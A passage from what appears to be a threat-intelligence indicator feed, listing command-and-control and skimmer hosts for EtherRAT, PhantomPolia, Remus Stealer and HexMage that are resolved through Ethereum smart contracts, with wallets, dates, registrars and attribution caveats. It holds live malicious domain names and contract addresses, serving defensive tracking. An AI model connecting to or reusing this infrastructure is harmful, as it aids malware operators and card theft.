parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 by operator wallet 0x5953f27f044779a3afcd2bf56a4b712583dd2e4e on 2026-04-24, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-24, the day it was written, through Global Domain Group LLC with nameservers ns1.globaldomaingroup.com and ns2.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-04-08, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). A TryCloudflare tunnel name written by an operator of the contract; these names are ephemeral and free to create, so the entry records what the implant was pointed at rather than a host likely to be reused. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-03-31, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-30, 1 day before the write, through Global Domain Group LLC with nameservers ns2.globaldomaingroup.com and ns1.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-09-12, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af by operator wallet 0xbfafba01a34aa6d53adcd1eac5ff5a7ee38a40ad on 2026-03-11, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-11, the day it was written, through Global Domain Group LLC with nameservers ns2.globaldomaingroup.com and ns1.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x1cfb457d41b9e5eb6737fde2b590d1f78924aaa8 by operator wallet 0x6b007f4cb132a3a574b53ab6aa3f431e0c2d4a94 on 2026-01-24, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-01-23, 1 day before the write, through NICENIC INTERNATIONAL GROUP CO., LIMITED with nameservers tadeo.ns.cloudflare.com and mariah.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-19, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain justtalken.com EtherRAT C2 Domain mebeliotmasiv.com EtherRAT C2 Domain euclidrent.com EtherRAT C2 Domain…","Value written to the EtherRAT resolver contract 0xae35eb8fa62b2ccbb88a495ec7fd1e2f2b4a170e by operator wallet 0xcaac38183d1b4ee29ddb8e7965012f26e9cd6610 on 2026-02-03, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-02-03, the day it was written, through Key-Systems GmbH with nameservers ns1.suspendedpage.com and ns2.suspendedpage.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. Its nameservers now point at a suspended-page parking service, so it may have been suspended after the write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0xc12c8d8f9706244eca0acf04e880f10ff4e52522 with setString between 2026-04-01 and 2026-04-02, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","Value written to the EtherRAT resolver contract 0x1cfb457d41b9e5eb6737fde2b590d1f78924aaa8 by operator wallet 0x6b007f4cb132a3a574b53ab6aa3f431e0c2d4a94 on 2026-01-26, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-01-26, the day it was written, through Hello Internet Corp with nameservers lennox.ns.cloudflare.com and ruth.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x123f12517f1643f0a8897776989f8d440aa76764 by operator wallet 0x285453d4cf33bfdb3e44c207c7534cbd7a23afcd on 2026-01-12, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-01-03, 9 days before the write, through NICENIC INTERNATIONAL GROUP CO., LIMITED with nameservers rosa.ns.cloudflare.com and norman.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Fallback command-and-control domain hardcoded in EtherRAT in the fake Microsoft Teams IT-support campaign, used when the resolver contract 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f cannot be read.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x28b7605be52b7107cd7710f6f855a1a026e72f4a resolves to after decryption, as reported by LevelBlue SpiderLabs.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x6bcf6ffce66317335d2928a31dc4e6efade765e6 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-25, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain euclidrent.com EtherRAT C2 Domain o-parana.com EtherRAT C2 Domain palshona.com EtherRAT C2 Domain…","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca with setString on 2026-03-19, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-09-06, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-08-25, 12 days before the write, through Dominet (HK) Limited with nameservers carl.ns.cloudflare.com and nora.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-10-12, replacing luxmaxing.southafricanorth.cloudapp.azure.com, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. RDAP shows the domain registered on 2026-08-24, a day before opencode-setup-al.com, which the same wallet wrote on 2026-09-06, through the same registrar, Dominet (HK) Limited, with Cloudflare nameservers. The name imitates OpenCode, as that one does. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-03-02, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain o-parana.com EtherRAT C2 Domain palshona.com EtherRAT C2 Domain aurineuroth.com EtherRAT C2 IP…","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-04-08, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-08, the day it was written, through MAT BAO CORPORATION with nameservers ryleigh.ns.cloudflare.com and troy.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-07-28, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-04-04, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-31, 4 days before the write, through Metaregistrar BV with nameservers ns1.nulled-ns.com and ns2.nulled-ns.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution. Hunt.io lists it as the first C2 (2026-04-01) of a second EtherRAT contract, 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, which it ties to an affiliate of The Gentlemen ransomware operation.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x6ac4170a50f2b6e982069463c205277c13bb391d resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-16, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain hayesmed.com EtherRAT C2 Domain regancontrols.com EtherRAT C2 Domain salinasrent.com EtherRAT C2 Domain…","EtherRAT command-and-control domain the resolver contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 returned from 2026-04-28, from Hunt.io's table of the contract's historical C2.","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://resurce.swedencentral.cloudapp.azure.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-06-17. The name is a Microsoft Azure virtual machine's public DNS name, so it points at whatever machine holds it now. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","Command-and-control domain the report lists for the Node.js backdoor stage, at https://rg-telemetry.sbs/api, active May to July 2026. The report names the watchlisted Ethereum contract 0x2aca749b59529f5cbcd6fbd34b35b1a546713df6 as the backdoor's configuration contract, the EtherHiding resolver that points infected machines at this infrastructure. Transcribed from the report's indicator table; not observed by this site.","EtherRAT command-and-control host the operator wrote to the resolver contract 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 on 2026-05-18. This is an on-chain observation by this site, not a value carried in published reporting. Registered on 2026-05-18, the day it was written, through Tucows with Njalla nameservers. Written six times that day; it postdates the report.","Value written on 2026-11-04 both to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca, by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 (transaction 0x322b507895d02a0ec3d650cb118efd215bdd8571d4a8d2a1b730fbfaabe5c1aa), and to 0x788a5336c0ef70be87619a3c13a43050c426f7ec, the resolver of the EtherRAT fake Microsoft Teams campaign, by its resolver address 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f (transaction 0xef15f033a0e0ded65d99758c30cf4384105e9350df4560d6862e29e71bd764b2). It replaced fsecure.centralus.cloudapp.azure.com and was replaced by tsmpl.centralus.cloudapp.azure.com two days later. An Azure cloudapp.azure.com name in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. This is an on-chain observation by this site, not a value carried in published reporting. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, and the Teams campaign is attributed to an unidentified actor, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-17, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain regancontrols.com EtherRAT C2 Domain salinasrent.com EtherRAT C2 Domain justtalken.com EtherRAT C2 Domain…","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://seconds.australiaeast.cloudapp.azure.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-06-25. The name is a Microsoft Azure virtual machine's public DNS name, so it points at whatever machine holds it now. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x5a155a3f01fa60c3fa0177022ba05fcc6a313a4d resolves to after decryption, as reported by LevelBlue SpiderLabs.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x515cfebd53a860c311d583b74a8b02a78a7884e0 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","EtherRAT command-and-control domain the resolver contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 returned from 2026-06-12, from Hunt.io's table of the contract's historical C2.","Value written to the EtherRAT resolver contract 0xa5b51ef13d070026da68618774054eaa1e49aa30 by operator wallet 0xd9afc5c883f45206c916d8e312c2d9f13766344d on 2026-02-04, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-02-04, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-11, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-11, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Host stored in plain base64 in a HexMage resolver contract (0x05f7150bfc2ac80614f2a0840810d7c9e57c5b82, created 2026-04-29) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-03-23, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-02-05, 46 days before the write, through Hello Internet Corp with nameservers ns1.ezydomain.com and ns2.ezydomain.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Remus Stealer command-and-control domain in the PhantomPolia campaign, the stealer delivered by the loader that resolves its own C2 from Ethereum Sepolia contracts, as reported by LevelBlue SpiderLabs. Reported on port 3546.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-02-02, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-01-13, 20 days before the write, through Hello Internet Corp with nameservers anita.ns.cloudflare.com and greg.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x61b3e0681f6485e4e85e5ee981757d8b12ec414f resolves to after decryption, as reported by LevelBlue SpiderLabs.","Host stored in plain base64 in a HexMage resolver contract (0x72814ae4f5ddf7e47fac26a6a834a02d9ac49dde, created 2026-04-29) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x3070c01b31eb6f43e778d1f3c3bddc2368bc04a9, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xfba32b859085b0d70095c08f6b1f7d91e462c26b, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xa9293a879a25104356bdb4ed90345b4bf84b3cbd, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x6ec8f6f438f18e0600fc2204cbc7513971c0ba03, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xfe8fba87775af2b0df0a0cab95a01950f552b124, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xd1387d5be3fbe9a6372667a5ec4cf6f92450b1f9, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xf558addf1ff2517684106b00e181d305f8b7b4f6, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x3c7e279c1c8ceca02c00d19d4be0262fa96ac38f, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x12fed6fdcf398d38ff63f0ed40642d649d267414, created 2026-03-30) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x248620726fde0889aee8dc05efd69946d4d2d347, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xe7eb8ad844ede51fb789f011799f8082cfe4e947, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x663d02327aacfa31ae555724409995fb7089d0fb, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x1cf9f972ffb05f8f8c32705dccb6548a7cbae496 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x8b51ed1e379f77f595b0634783f35b7dd1376f1c, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x5610aff9ffff99565ee968931870291dd5734aa7, created 2026-03-30) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x5be163dfa932ebb74a8c1faa440dee20f72e6d27, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x8cd80b87ccca8885c059ccf75f6660b860e1e88f, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x28efe0596794535fcb6017a5797b5bd3f50c871a, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xe835fffec743e5b7e9713adadbe5bdda1f19fbee, created 2026-03-30) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xd69f363350af4ec855b3338d7e23750e3804a92d, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x50714f132d98bcfe5d0f2c98838c0f2f0f553733, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x1d1230a46549063327e469f9b307269b2dc9f9b0, created 2026-03-30) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x5ba5fffc8b9376295cb98a93bdfba975e1c9fdc9 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x40521dff2ce1f8b92f3fea649d9be07310b82083, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x380472eb0b536ab833be43c6c15febb53249b76e, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x71b134c81261d68edc603f0cfd8ce84b39468317, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xce14bcf47c302b8ca945fa00e66af0b480328bac resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x04141d92baa052a778dd86cccc1287d870a2a06c, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xfbb285e976b98c84c9a9279c2fc1d93eb40ac462, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0x467fe8baa36abb495c36b0b583692c34350b5d04, created 2026-03-30) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xa10fd03d545f44c3287d5542acfb4d74e6bb9906 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x6332d0e357a7b8209eb3d25e909bfe666db0290b resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x59028be4a413e95b227c5d4a8e95573f726829ab, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xe5cdd8300bf16c2d7968082e4a6b9858522b61e0, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xace71e141504d3adcec94f9bac1c03e5e4ecffb3, created 2026-04-24) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x9f85277114091095d323a1d4fb18219a66b18538 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x7a9a9c976239a8041ec806f6d8fde3f3231c200d, created 2026-04-10) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Host stored in plain base64 in a HexMage resolver contract (0xd68a17112a476e9f9bb739293f5f85717fb1a73c, created 2026-04-29) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-08-19, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other 